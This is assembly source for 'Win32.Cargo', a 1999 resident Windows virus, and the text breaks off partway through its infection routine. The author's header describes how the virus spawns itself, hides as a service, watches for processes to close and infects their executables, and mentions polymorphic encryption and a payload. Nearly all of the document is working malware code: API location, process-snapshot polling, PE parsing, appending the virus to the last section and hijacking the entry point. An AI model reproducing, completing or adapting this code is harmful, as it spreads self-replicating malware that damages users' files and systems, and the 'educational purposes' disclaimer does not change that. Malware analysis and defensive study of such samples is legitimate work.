comment $ 北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 WIN32 北北北 北北北 北北北 北北北 北北北 北 北 北 北 北 北 北 北 北 北北北 北北 北 北 北 北 北北北 北 北 北 北 北北北 北北北 by Lord Julus (C) 1999 北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 I am very proud to present you my first win32 resident virus. I usually don't like to fuss to much about my releases, but this time, I am so proud of this release, that I cannot hold...;-) However, this virus will probably not spread at all. The fact is it has a small bug. Actually it's not quite a bug. When I added the infection and the polymorphic engine I think I lost a few checks here and there, so for some files it might crash. But, as I completely lost interest in this virus I release it like this. Test it if you like. It will probably work for most files. However, my idea was to reach the fact that I can do it. And now I know, win32 process spawning is a very weak way of going resident. I think that kernel infection will be more reliable. My next baby will probably be based on that. Until then use this to see how I locate all running processes. Let me tell you a little about the name of the virus. The name CARGO is the name of a very good romanian hard&heavy band which I particulary like. I am pretty sure you will hate the fact that this virus caries CARGO lyrics inside, but this was just the idea and I'd appreciate if nobody will remove them. The idea was to make the lyrics of CARGO float all over the world with this ship... Lets see now how is this virus different: When an infected application is started, the virus gets control and it's first action is to dump the host (including the virus) to disk under a different name. This is one of the particularities of this virus; it doesn't have another copy of itself carried at the bottom somewhere to dump. Instead, this virus takes action on the running file itself and dumps it to disk under the name OGRAC.EXE. In order to do this much stuff must be taken care of, because, as you know the sections of the file are aligned to section alignment when in memory, but on disk they must be aligned to file alignment. The virus makes all calculations and realignments and dumps the file to disk. After doing so, the new dumped file is ran with CreateProcess. In order to check residency 2 mutexes are used. First mutex is used for the spawned copy. If the mutex exists then it is time for the spawned copy to install itself. If the second mutex exists, then we must return to host because we are already resident and installed. When the virus starts going resident, first it changes the propriety of itself by setting itself to REALTIME_PRIORITY_CLASS. Then, the API named RegisterServiceProcess is used to transform our process into a service, thus hiding it from the windoze process list (CTRL-ALT-DEL). Then, furthure, the virus creates a new thread in the running process' area, and sets this thread's priority to TIME_CRITICAL, therefore giving the thread a 31 level of priority. Then, the running thread falls asleep, waiting for the other thread to finish (by error, or by system shutdown). When the newly created thread starts executing, the monitoring process is started. For this, the virus is using the ToolHelp32 tools. It creates a so called snapshot for the running processes, and using the Process32First and Process32Next Apis it retrieves the names of all the processes that run in the system. The virus heavily uses GlobalAlloc and GloballReAlloc to optimize the used space. The running processes are put into a so called first array. Then the thread goes into an infinite loop and once every half a second goes and retrieves again the names of the running processes, into a so called array #2. Then, the virus makes a comparision between the two arrays. If the first array has items not present in the second array, it means that a process was shutdown. So, having it's full path saved in the first array, the virus opens the file and infects it. This goes on until the system is shut down or a memory allocation error occurs (not likely to happen). Well, after much tests and stuff, I removed the new thread thingie because it comes to some problems... Now, only the process is spawned and the default thread is used... The files are infected by adding to the last section. The virus is protected by the MOF32 version 2.5 polymorphic engine and by a second layer of encryption using many antidebugging tricks. So, basically: ================================================================== Virus Name - Win32.Cargo Virus Version - 1.0 Virus Author - Lord Julus Release Date - 22/08/1999 Platform - win95/98 Type - Resident (process spawner) Targets - Windows Portable Executable Appending - Last section increase Searching - Infect on process shutdown Encrypted - Yes Polymorphic - Yes Payload - Yes, graphical on 7th every odd month, after 14:00 ================================================================== Greetings: Firstly to JackyQwerty for helping me to solve the problem with the PROCESSENTRY32... Never have guessed that!! ;-) Then to all SLAM members, and to all the rest cool guys out there!! Keep it up! Disclaimer: THIS SOURCE CODE WAS WRITTEN FOR EDUCATIONAL PURPOSES ONLY. IT WAS NOT WRITTEN TO HARM OR DAMAGE ANY KIND OF DATA OR SYSTEMS. YOU ARE USING, COMPILING OR LINKING, THIS FREELY DISTRIBUTED SOURCE CODE, AT YOUR OWN WILL, AND ANY DISTRIBUTION OR SPREAD OF THIS SOURCE CODE IN IT'S BINARY FORM CANNOT BE HELD AGAINS THE AUTHOR OF THIS SOURCE. E-mail with suggestions or bug reports to: lordjulus@geocities.com 谀哪哪哪哪哪哪哪哪哪哪哪目 Lord Julus (C) 1999 劳屯屯屯屯屯屯屯屯屯屯屯途 $ ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 .586p .model flat, stdcall jumps ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 extrn MessageBoxA:proc extrn ExitProcess:proc ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 TRUE = 1 ; FALSE = 0 ; ; DEBUG = FALSE ; if debug = true, only TEST.EXE files ; are infected ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 .data db 0 ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 .code start: ; pushad ; 60h and E9h = the only ; two unecnrypted bytes! jump_code: ; jmp decrypt ; call poly decryptor ; realstart: ; start_of_code: ; nop ; nop ; popad ; pushad ; call getdelta ; get delta handle ; getdelta: ; pop ebp ; sub ebp, offset getdelta ; mov [ebp+delta], ebp ; save delta for later ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 jmp over_1 db ' Aproape de voi',0ah,0dh db '',0ah,0dh db ' In seara asta vreau s beau,',0ah,0dh db ' s uit de-orice nevoi...',0ah,0dh db ' S sparg paharul si s zic:',0ah,0dh db ' "Sunt acum, aici cu voi!"',0ah,0dh db '',0ah,0dh db ' Nu stiu c僼 timp mi-a mai ramas,',0ah,0dh db ' dar vreau s mi-l petrec',0ah,0dh db ' cu voi care mi-ati fost al唗uri',0ah,0dh db ' la bine si la greu...',0ah,0dh db '',0ah,0dh db ' Inchin paharul si v spun:',0ah,0dh db ' "宨 multumesc celui de sus,',0ah,0dh db ' ca mi v-a dat prieteni buni,',0ah,0dh db ' si nu singur pe acest drum!"',0ah,0dh db '',0ah,0dh db ' Si de-o fi si eu s mor,',0ah,0dh db ' nu vreau s v intristati!!',0ah,0dh db ' S c僴tati si s jucati pan-n zori...',0ah,0dh db ' Si dac din c僴d 宯 c僴d',0ah,0dh db ' o sa m priviti in g僴d,',0ah,0dh db ' Voi Fi Aproape De Voi!!!!...',0ah,0dh,0 over_1: ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 lea eax, [ebp+ExceptionExit] ; Setup a SEH frame push eax ; push dword ptr fs:[0] ; mov fs:[0], esp ; ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 mov eax, [esp+28h] ; first let's locate the lea edx, [ebp+kernel32_name] ; kernel32 base address call LocateKernel32 ; jc exit ; mov dword ptr [ebp+k32], eax ; save it... ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 lea edx, dword ptr [ebp+getprocaddress] ; then let's locate call LocateGetProcAddress ; GetProcAddress jc exit ; ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 jmp over_2 db ' Ziua Vr唈itoarelor',0ah,0dh db '',0ah,0dh db ' Frunzele fosneau,',0ah,0dh db ' c僫nii toti urlau,',0ah,0dh db ' c se ar唗au v價colaci...',0ah,0dh db ' Iat ielele, vr唈itoarele, ursitoarele',0ah,0dh db ' si multi draci!!',0ah,0dh db '',0ah,0dh db ' Azi e ziua lor, ziua ielelor,',0ah,0dh db ' vr唈itoarelor p僴-n zori!!',0ah,0dh db ' Iat se gonesc si se sf唗uiesc',0ah,0dh db ' Oalele vorbesc hulitori,',0ah,0dh db ' Boabe si furnici,',0ah,0dh db ' Ierburi si urzici,',0ah,0dh db ' tot ce e aici - m僴a lor...',0ah,0dh db ' Dragoste si vis,',0ah,0dh db ' chiar si paradis',0ah,0dh db ' in palm ti-a scris soarta ta!',0ah,0dh db '',0ah,0dh db ' O... ai mare noroc!!!',0ah,0dh db ' O... ghinioane de loc!!',0ah,0dh db ' Tot ce vezi, s nu crezi,',0ah,0dh db ' C asa ti-e soarta!!',0ah,0dh db ' Poti s crezi dac vrei,',0ah,0dh db ' VR廕ITOARELE!!',0ah,0dh,0 over_2: ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 mov ebx, eax ; now let's locate all mov eax, dword ptr [ebp+k32] ; the K32 apis we need lea edi, dword ptr [ebp+k32_names] ; furthure... lea esi, dword ptr [ebp+k32_apis ] ; call LocateApiAddresses ; jc exit ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 lea edi, dword ptr [ebp+user32_name] ; Locate USER32 call LocateModuleBase ; module base jc exit ; mov [ebp+u32], eax ; lea edi, dword ptr [ebp+u32_names] ; and it's apis lea esi, dword ptr [ebp+u32_apis ] ; call LocateApiAddresses ; jc exit ; ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 lea edi, dword ptr [ebp+gdi32_name] ; Locate GDI32 call LocateModuleBase ; module base jc exit ; mov [ebp+g32], eax ; lea edi, dword ptr [ebp+g32_names] ; and it's apis lea esi, dword ptr [ebp+g32_apis ] ; call LocateApiAddresses ; jc exit ; ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 call payload ; try payload call resident ; go resident jmp exit ; copyright db 0ah,0dh,0ah,0dh," Win32.CARGO V0.5 - A win32 resident virus " db 0ah,0dh,0ah,0dh," copyright Lord Julus (C) 1999 " ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 ; Here we spawn the resident file, or handle the file checks ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 resident proc near ; lea eax, [ebp+mutex] ; create a process relative push eax ; mutex by the name "cargo". push 1 ; If the mutex already existed push 0 ; it means we are already call [ebp+_CreateMutexA] ; resident, otherwise we must call [ebp+_GetLastError] ; go resident. or eax, eax ; jnz spawned ; ; lea esi, [ebp+jump_code] ; kill the jump to poly decr. mov eax, dword ptr [esi+1] ; mov [ebp+saved_jump], eax ; mov dword ptr [esi+1], 0h ; for the spawned copy... ; push 260 ; get system directory to lea eax, [ebp+spawnname] ; place the spawned file there push eax ; call [ebp+_GetSystemDirectoryA] ; lea eax, [ebp+offset spawnfile] ; push eax ; lea eax, [ebp+offset spawnname] ; push eax ; call [ebp+_lstrcat] ; ; pushad ; push 0 ; file attributes push 0 ; "" push 2 ; Create New File push 0 ; Security option = default push 1 ; File share for read push 80000000h or 40000000h ; General write and read lea eax, [ebp+spawnname] ; push eax ; pointer to filename Call [ebp+_CreateFileA] ; ; cmp eax, -1 ; failed to create? je exit ; mov [ebp+filehandle], eax ; popad ; ; Let's dump the running file to disk under the new name... mov esi, [ebp+imagebase] ; first check that it is a cmp word ptr [esi], 'ZM' ; valid MS-DOS file... jne exit ; cmp word ptr [esi.MZ_lfarlc], 40h ; check the NewExe marker jne exit ; mov esi, [esi.MZ_lfanew] ; locate PE header offset add esi, [ebp+imagebase] ; push 200h ; check if we can read push esi ; the ammount of memo from there call [ebp+_IsBadReadPtr] ; or eax, eax ; jnz exit ; cmp word ptr [esi], 'EP' ; is it the PE header? jne exit ; xor eax, eax ; mov ax, [esi.NumberOfSections] ; take number of sections push eax ; and remember them add esi, IMAGE_FILE_HEADER_SIZE ; go to optional header mov edx, [esi.OH_FileAlignment] ; save file alignment mov [ebp+filealign], edx ; add esi, IMAGE_OPTIONAL_HEADER_SIZE ; go to the first section header mov ecx, IMAGE_SECTION_HEADER_SIZE ; multiplicator mul ecx ; obtain all section headers size mov edx, eax ; save it to edx push edx ; and save it on the stack add esi, eax ; go at the end push esi ; write down all the headers sub esi, [ebp+imagebase] ; in the file to the new dest push 0 ; file. lea edx, [ebp+nob] ; push edx ; push esi ; push [ebp+imagebase] ; push [ebp+filehandle] ; call [ebp+_WriteFile] ; pop esi ; ; pop edx ; restore section headers size pop ecx ; cx = number of sections sub esi, edx ; go to the first section header ; pushad ; save all regs ; pushad ; save all regs mov edi, 09999999h ; now we will try to locate the ; smallest PointerToRawData to locate_smallest_pointer: ; know which section body comes mov eax, [esi.SH_PointerToRawData] ; first, in case they are cmp eax, edi ; mangled relative to their jnb still_smaller ; headers. xchg eax, edi ; ; still_smaller: ; add esi, IMAGE_SECTION_HEADER_SIZE ; loop locate_smallest_pointer ; mov [ebp+temp], edi ; popad ; restore registers ; push ecx ; push edx ; push 1 ; push 0 ; push 0 ; push [ebp+filehandle] ; call [ebp+_SetFilePointer] ; get in EAX how much we wrote pop edx ; already in the destination pop ecx ; file. ; mov edi, [ebp+temp] ; EDI is the first data offset sub edi, eax ; and we must pad with the add esi, edx ; difference!! ; push 0 ; lea eax, [ebp+nob] ; push eax ; push edi ; push esi ; push [ebp+filehandle] ; call [ebp+_WriteFile] ; write difference!! ; popad ; restore regs ; ; section_dump_loop: ; now let's dump the sections push ecx ; bodies. mov edi, [esi.SH_VirtualAddress] ; take it from memory, aligned add edi, [ebp+imagebase] ; to imagebase mov eax, dword ptr [esi.SH_VirtualSize]; now choose the smallest between mov ecx, dword ptr [esi.SH_SizeOfRawData]; VirtualSize and SizeOfRawData cmp ecx, eax ; to solve the Borland/MicroSoft jnb ok_ ; difference in linking. xchg eax, ecx ; ; ok_: ; mov ecx, [ebp+filealign] ; now we must align the size push eax ; before alignment to the push ecx ; file alignment, because in xor edx, edx ; memory it was aligned to div ecx ; section alignment cmp edx, 0 ; jne more ; pop ecx ; pop eax ; jmp no_more ; ; more: ; pop ecx ; sub ecx, edx ; pop eax ; add eax, ecx ; eax= size aligned ; no_more: ; push 0 ; write the section to the lea ecx, [ebp+nob] ; push ecx ; file... push eax ; push edi ; push [ebp+filehandle] ; call [ebp+_WriteFile] ; ; pop ecx ; restore index add esi, IMAGE_SECTION_HEADER_SIZE ; get next section... loop section_dump_loop ; ; push [ebp+filehandle] ; close destination file! call [ebp+_CloseHandle] ; ; ; The resulting file will be smaller than the original because no filesize ; padding is done. ; go_res: ; let's go resident! lea eax, [ebp+startupinfo] ; push eax ; get the startup info call [ebp+_GetStartupInfoA] ; ; lea eax, [ebp+processinfo] ; push eax ; and spawn ourselves lea eax, [ebp+startupinfo] ; push eax ; push 0 ; push 0 ; push 67108928h ; push 0 ; do not inherit handles push 0 ; push 0 ; lea eax, [ebp+spawnname] ; push eax ; push 0 ; call [ebp+_CreateProcessA] ; Run the Process!! ; lea esi, [ebp+processinfo] ; close the new process handle push [esi.PI_hProcess] ; call [ebp+_CloseHandle] ; ; push 1000 ; allow new process to start call [ebp+_Sleep] ; ; jmp exit ; return to host! ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 ; Here is where the resident proggy goes on... No return to host will ; occure... spawned: ; lea eax, [ebp+mutex2] ; create a process relative push eax ; mutex by the name "ograc". push 1 ; If the mutex already existed push 0 ; it means we are already call [ebp+_CreateMutexA] ; resident, otherwise we must call [ebp+_GetLastError] ; quit! or eax, eax ; jnz exit ; ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 jmp over_4 db ' Anarhia',0ah,0dh db '',0ah,0dh db ' Noapte crunt de betie',0ah,0dh db ' Pan-n zori de zi s fie',0ah,0dh db ' Unde-i vodca si r哻hia,',0ah,0dh db ' ca s-nceap ANARHIA, 宯 Rom僴ia!!!',0ah,0dh,0 over_4: ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 mov eax, dword ptr [ebp+saved_jump] ; restore jump code. Was killed lea esi, [ebp+jump_code] ; for the spawned copy which is mov dword ptr [esi+1], eax ; not encrypted call [ebp+_GetCurrentProcess] ; get then current process handle push 100h ; realtime priority class push eax ; handle of current process call [ebp+_SetPriorityClass] ; set priority to realtime ; push 1 ; Register the current running push 0 ; process as a service. call [ebp+_RegisterServiceProcess]; ; ; mov [ebp+firstsize], 0 ; reset the memory size of both arrays mov [ebp+secondsize], 0 ; to 0. ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 ; VirusThread proc near ; This is the resident part. mov [ebp+error], 0 ; error flag ; again_again: ; call FillFirstArray ; Create the first process names array ; again: ; cmp [ebp+error], 1 ; if there was an error, abort! je exit_thread ; push 500 ; call [ebp+_Sleep] ; sleep half a second call FillSecondArray ; Create the second process names array call CompareArrays ; compare the arrays jnc again ; and loop... jmp again_again ; ; exit_thread: ; push 0 ; finish current thread... call [ebp+_ExitProcess] ; ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 jmp over_5 db ' Apocalipsa',0ah,0dh db '',0ah,0dh db ' Doamne..., uit-te, d-ne putere acum!~...',0ah,0dh db ' Ajut-ne s trecem, s nu ne abatem din drum!!',0ah,0dh db '',0ah,0dh db ' Parc totul e',0ah,0dh db ' tot mai tulbure...',0ah,0dh db ' Crucea-i tot mai grea',0ah,0dh db ' si lumea pare a fi mai rea!',0ah,0dh db '',0ah,0dh db ' Zilele-s mai reci,',0ah,0dh db ' morile sunt zeci...',0ah,0dh db ' Oameni mor mai multi',0ah,0dh db ' iar cei vii parc sunt pierduti...',0ah,0dh db '',0ah,0dh db ' Luptele-s mai crunte,',0ah,0dh db ' nedrept唗i sunt multe...',0ah,0dh db ' Omenirea e 宯 chin,',0ah,0dh db ' Toti cei ce stiu 宯 sange au venin!',0ah,0dh db '',0ah,0dh db ' O...! c僼 om sta 宯 noroi!!!...',0ah,0dh db ' Num唕ul fiarei 宯 noi!!!...',0ah,0dh db ' Palma ti-e scris pe geam...',0ah,0dh db ' Trei de 6-n ea!!!',0ah,0dh,0 over_5: ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 FillFirstArray proc near ; Here we will call the walk procedure pushad ; in order to fill the first array ; cmp [ebp+firstmemo], 0 ; free memory only if it was je nope1 ; already allocated... push [ebp+firstmemo] ; If we free the first memory area, call [ebp+_GlobalFree] ; then we *must* free the second memory ; area again, otherwise next time we nope1: ; need more memory, the GlobalReAlloc cmp [ebp+secondmemo], 0 ; will fail because not enough free je nope2 ; *contigous* memory will be available. push [ebp+secondmemo] ; call [ebp+_GlobalFree] ; ; nope2: ; call WalkProcesses ; mov eax, [ebp+temp_mem_ptr] ; save the pointer to the memory area mov [ebp+firstmemo], eax ; mov eax, [ebp+temp_mem_sze] ; and the size of the memory mov [ebp+firstsize], eax ; popad ; ret ; FillFirstArray endp ; ; FillSecondArray proc near ; This is the same thing, but for the pushad ; second memory array. ; cmp [ebp+secondmemo], 0 ; je nope3 ; push [ebp+secondmemo] ; call [ebp+_GlobalFree] ; ; nope3:; ; call WalkProcesses ; mov eax, [ebp+temp_mem_ptr] ; mov [ebp+secondmemo], eax ; mov eax, [ebp+temp_mem_sze] ; mov [ebp+secondsize], eax ; popad ; ret ; FillSecondArray endp ; ; WalkProcesses proc near ; Get the running processes... push 0 ; snap for the current process push 2 ; snap processes call [ebp+_CreateToolhelp32Snapshot] ; create toolhelp handle mov [ebp+t32h], eax ; save toolhelp handle cmp eax, -1 ; was it a failure? je exit ; ; lea eax, [ebp+process32] ; point the process32 structure push eax ; mov ecx, dword ptr [ebp+t32h] ; push ecx ; call [ebp+_Process32First] ; get first process or eax, eax ; no process? jz exit ; (thx JQwerty for the bug solving!) ; call init_memo ; init memory array! cmp [ebp+error], 1 ; if error, it means we don't have je no_next ; enough memory... ; next: ; lea eax, [ebp+process32] ; get next process push eax ; mov ecx, dword ptr [ebp+t32h] ; push ecx ; call [ebp+_Process32Next] ; or eax, eax ; jz no_next ; call incr_memo ; increment memory array! cmp [ebp+error], 1 ; je no_next ; jmp next ; ; no_next: ; push [ebp+t32h] ; close the toolhelp handle... call [ebp+_CloseHandle] ; ret ; ; init_memo: ; Here we init the memory array lea esi, [ebp+process32] ; get pointer to process data lea ebx, [esi.szExeName] ; get pointer to name push ebx ; save it... call [ebp+_lstrlen] ; get length of name inc eax ; +1 for terminatorZ mov [ebp+temp_mem_sze], eax ; initiate memory size push eax ; size to allocate push 040h ; fixed memory and zeroed call [ebp+_GlobalAlloc] ; allocate memory cmp eax, 0 ; if error, set error flag... jne no_error1 ; mov [ebp+error], 1 ; ret ; ; no_error1: ; mov [ebp+temp_mem_ptr], eax ; save memory handle push ebx ; source -> process path+name push eax ; destination -> memory call [ebp+_lstrcpy] ; copy file name to memory ret ; ; incr_memo: ; Here we add names to memory lea esi, [ebp+process32] ; get pointer to the process data lea ebx, [esi.szExeName] ; get pointer to the process name push ebx ; save pointer call [ebp+_lstrlen] ; get length of name inc eax ; +terminatorZ add [ebp+temp_mem_sze], eax ; increase memory size mov edx, eax ; save increasement push edx ; push 40h ; fixed memory push [ebp+temp_mem_sze] ; new size push [ebp+temp_mem_ptr] ; memory handle call [ebp+_GlobalReAlloc] ; Reallocate new memory size cmp eax, 0 ; error? jne no_error2 ; mov [ebp+error], 1 ; pop edx ; ret ; ; no_error2: ; mov eax, [ebp+temp_mem_sze] ; now locate the end of the previous pop edx ; memory, which leads us right after sub eax, edx ; the last terminatorZ, where we need mov esi, [ebp+temp_mem_ptr] ; to add the new file name... add esi, eax ; go to the new empty space push ebx ; source push esi ; destination call [ebp+_lstrcpy] ; and insert the new name there ret ; WalkProcesses endp ; ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 jmp over_6 db ' Batacanda',0ah,0dh db '',0ah,0dh db ' Ceata de nomazi,',0ah,0dh db ' tind spre munti...',0ah,0dh db '',0ah,0dh db ' Cetele rasun,',0ah,0dh db ' ei 宯 cerc se-adun',0ah,0dh db ' si pornesc nebuna BATACANDA!!!',0ah,0dh db '',0ah,0dh db ' S僴gele-i in clocot,',0ah,0dh db ' chiote si hohot,',0ah,0dh db ' 宯sotesc s唋batic BATACANDA!!!',0ah,0dh db '',0ah,0dh db ' Focul arde',0ah,0dh db ' si miros de fum,',0ah,0dh db ' noatea cade,',0ah,0dh db ' dar ei danseaz BATACANDA!!',0ah,0dh,0 over_6: ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 ; CompareArrays proc near ; mov esi, [ebp+firstmemo] ; point first array mov ecx, [ebp+firstsize] ; and its size call get_item_no ; and get the number of items mov [ebp+firstindex], eax ; save the no. of items in the array#1 mov esi, [ebp+secondmemo] ; point second array mov ecx, [ebp+secondsize] ; and its size call get_item_no ; and get number of items mov [ebp+secondindex], eax ; save the no. of items in the array#2 ; mov ecx, [ebp+firstindex] ; scan until first index mov esi, [ebp+firstmemo] ; mov edi, [ebp+secondmemo] ; mov [ebp+flag], 0 ; ; first_array_scan: ; push ecx ; save index ; mov ecx, [ebp+secondindex] ; get second index mov edi, [ebp+secondmemo] ; ; second_array_scan: ; push ecx ; save second index mov edx, esi ; save name mov [ebp+flag], 0 ; push esi ; get length of one string in array#1 call [ebp+_lstrlen] ; inc eax ; mov ecx, eax ; rep cmpsb ; is it in array#2 also? je name_found ; ok ; name_not_found: ; if name is not found, get another xor eax, eax ; locate next name in the array#2 mov ecx, 1000 ; repnz scasb ; mov esi, edx ; restore name to scan jmp continue_loop ; ; name_found: ; pop ecx ; if name is found force exit from the push 1 ; loop... mov [ebp+flag], 1 ; and mark the flag! ; continue_loop: ; pop ecx ; restore and... loop second_array_scan ; ...loop cmp [ebp+flag], 0 ; if flag is still 0 we didn't find one je One_item_missing ; item in array#2 ; pop ecx ; restore first index loop first_array_scan ; and loop jmp All_items_match ; ; One_item_missing: ; one item missing from array#2 pop ecx ; get it off the stack mov eax, edx ; go and handle it! call HandleClosedProcess ; stc ; jmp quit ; ; All_items_match: ; If all items match, but the array#2 mov eax, [ebp+secondindex] ; is bigger then array#1 then more cmp eax, [ebp+firstindex] ; processes were opened so we must ja setcarry ; rescan... clc ; ret ; ; setcarry: ; stc ; ; quit: ; ret ; CompareArrays endp ; ; get_item_no proc near ; here we simply locate the number of xor eax, eax ; terminatorZ we find, giving us the inc esi ; number of asciiz strings. ; count_loop: ; cmp byte ptr [esi], 0 ; jne no_match ; cmp byte ptr [esi-1], 0 ; skip final zero... je quit_now ; inc eax ; ; no_match: ; inc esi ; loop count_loop ; ; quit_now: ; ret ; get_item_no endp ; ; HandleClosedProcess proc near ; When we are here, eax points the pushad ; name of a valid win32 file which can ; be handled. push eax ; ; IF DEBUG ; if debug is on, you can remove mov esi, eax ; Cargo from memory by running any push eax ; application called KILL.EXE. call [ebp+_lstrlen] ; add esi, eax ; sub esi, 8 ; cmp [esi], 'LLIK' ; jne no_quit ; mov [ebp+error], 1 ; jmp no_infection ; ; no_quit: ; pop eax ; push eax ; mov esi, eax ; push eax ; call [ebp+_lstrlen] ; add esi, eax ; sub esi, 8 ; cmp [esi], 'TSET' ; jne no_infection ; ENDIF ; ; pop eax ; mov esi, eax ; pusha ; call InfectFile ; popa ; ; IF DEBUG ; push eax ; lea ebx, [ebp+file] ; push ebx ; call [ebp+_lstrcpy] ; push 1000h ; AlwaysOnTop + Ok button lea eax, [ebp+windowtitle] ; push eax ; lea eax, [ebp+windowmessage] ; push eax ; push 0 ; call [ebp+_MessageBoxA] ; display message jmp over_processes ; ENDIF ; ; no_infection: ; pop eax ; ; over_processes: ; popad ; ret ; HandleClosedProcess endp ; VirusThread endp ; resident endp ; ; ;;;;;; InfectFile proc near ; pushad ; ; mov esi, eax ; mov [ebp+fileofs], eax ; save file name offset push eax ; save it call [ebp+_GetFileAttributes] ; Get the file attributes or eax, eax ; jz error1 ; mov [ebp+fileattributes], eax ; save them ; error1: ; push 80h ; push esi ; call [ebp+_SetFileAttributes] ; set them as normal ; push 0 ; and open the file push 0 ; push 3 ; push 0 ; push 1 ; push 80000000h or 40000000h ; push esi ; call [ebp+_CreateFileA] ; ; cmp eax, -1 ; error? je file_error ; ; mov [ebp+handle1], eax ; save it's handle ; lea ebx, [ebp+offset filetime] ; now save the file time push ebx ; add ebx, 8 ; push ebx ; add ebx, 8 ; push ebx ; push eax ; call [ebp+_GetFileTime] ; ; push 0 ; get file size mov eax, [ebp+handle1] ; push eax ; call [ebp+_GetFileSize] ; ; mov [ebp+filesize], eax ; save the filesize and calculate add eax, virussize+500h ; ammount of memory needed ; push 0 ; and create a file mapping push eax ; push 0 ; push 4 ; push 0 ; mov eax, [ebp+handle1] ; push eax ; call [ebp+_CreateFileMappingA] ; ; cmp eax, 0 ; je close_file ; ; mov [ebp+maphandle], eax ; save map handle ; mov eax, [ebp+filesize] ; add eax, virussize+500h ; push eax ; map the file!! push 0 ; push 0 ; push 2 ; mov eax, [ebp+maphandle] ; push eax; ; call [ebp+_MapViewOfFile] ; ; cmp eax, 0 ; je close_map ; ; mov esi, eax ; mov [ebp+mapaddress], esi ; save map address ; cmp word ptr [esi], 'ZM' ; is it a MZ EXE file? jne unmap_view ; mov esi, dword ptr [esi.MZ_lfanew] ; get PE header offset cmp esi, 1000h ; too far? ja unmap_view ; add esi, [ebp+mapaddress] ; save map address cmp word ptr [esi], 'EP' ; is it a PE file? jne unmap_view ; ; mov dword ptr [ebp+PEheader], esi ; save PE header place add esi, IMAGE_FILE_HEADER_SIZE ; go to Optional header ; cmp word ptr [esi.OH_Win32VersionValue], 'CG' ; already infected? je unmap_view ; ; mov eax, dword ptr [esi.OH_FileAlignment] ; save all the needed mov dword ptr [ebp+filealign], eax ; values mov eax, dword ptr [esi.OH_SectionAlignment] ; mov dword ptr [ebp+sectionalign], eax ; mov eax, dword ptr [esi.OH_AddressOfEntryPoint]; mov dword ptr [ebp+oldeip], eax ; mov eax, dword ptr [esi.OH_ImageBase] ; mov dword ptr [ebp+newimagebase], eax ; ; mov word ptr [esi.OH_Win32VersionValue], 'CG' ; mark infection ; mov ebx, dword ptr [esi.OH_NumberOfRvaAndSizes]; let us locate the shl ebx, 3 ; last section xor eax, eax ; mov ax, word ptr [esi.NumberOfSections-IMAGE_FILE_HEADER_SIZE] dec eax ; mov ecx, IMAGE_SECTION_HEADER_SIZE ; mul ecx ; ; mov esi, dword ptr [ebp+PEheader] ; PE header offset + add esi, IMAGE_FILE_HEADER_SIZE ; header length + add esi, 60h ; optional header len + add esi, ebx ; + data directory add esi, eax ; + all sections ; mov [ebp+lastsection], esi ; save last section addr mov edi, dword ptr [esi.SH_PointerToRawData] ; get pointer to raw data add edi, dword ptr [ebp+mapaddress] ; and align it to memory add edi, dword ptr [esi.SH_VirtualSize] ; and then add virtual mov [ebp+smth], edi ; size and save the value ; pushad ; let us copy our virus lea esi, dword ptr [ebp+start] ; there... mov ecx, virussize ; rep movsb ; popad ; ; add dword ptr [esi.SH_VirtualSize], virussize ; increase the sizes add dword ptr [esi.SH_SizeOfRawData], virussize; (virtual and physical) or dword ptr [esi.SH_Characteristics], 0C0000040h; make section R/W ; mov eax, [esi.SH_SizeOfRawData] ; align SizeOfRawData mov ecx, dword ptr [ebp+filealign] ; to the file push eax ; alignment push ecx ; xor edx, edx ; div ecx ; pop ecx ; sub ecx, edx ; pop eax ; add eax, ecx ; mov dword ptr [esi.SH_SizeOfRawData], eax ; and store it ; mov esi, dword ptr [ebp+PEheader] ; ; mov eax, dword ptr [esi+50h] ; Get OldSizeOfImage add eax, virussize ; increase it and then mov ecx, dword ptr [ebp+sectionalign] ; align it to the section push eax ; alignment push ecx ; xor edx, edx ; div ecx ; pop ecx ; sub ecx, edx ; pop eax ; add eax, ecx ; mov dword ptr [esi+50h], eax ; ; mov edi, [ebp+lastsection] ; point last section ; mov eax, [edi.SH_PointerToRawData] ; Pointer to raw data add eax, [edi.SH_VirtualSize] ; plus last section size mov [ebp+filesize], eax ; is the filesize. Align mov ecx, dword ptr [ebp+filealign] ; it to the file push eax ; alignment push ecx ; xor edx, edx ; div ecx ; pop ecx ; sub ecx, edx ; pop eax ; add eax, ecx ; mov dword ptr [ebp+filesize], eax ; and store it ; mov eax, [edi.SH_VirtualAddress] ; let us locate the new add eax, [edi.SH_VirtualSize] ; EIP... sub eax, virussize ; mov dword ptr [esi+28h], eax ; ...and store it!! ; we finished infecting the file. Now let us 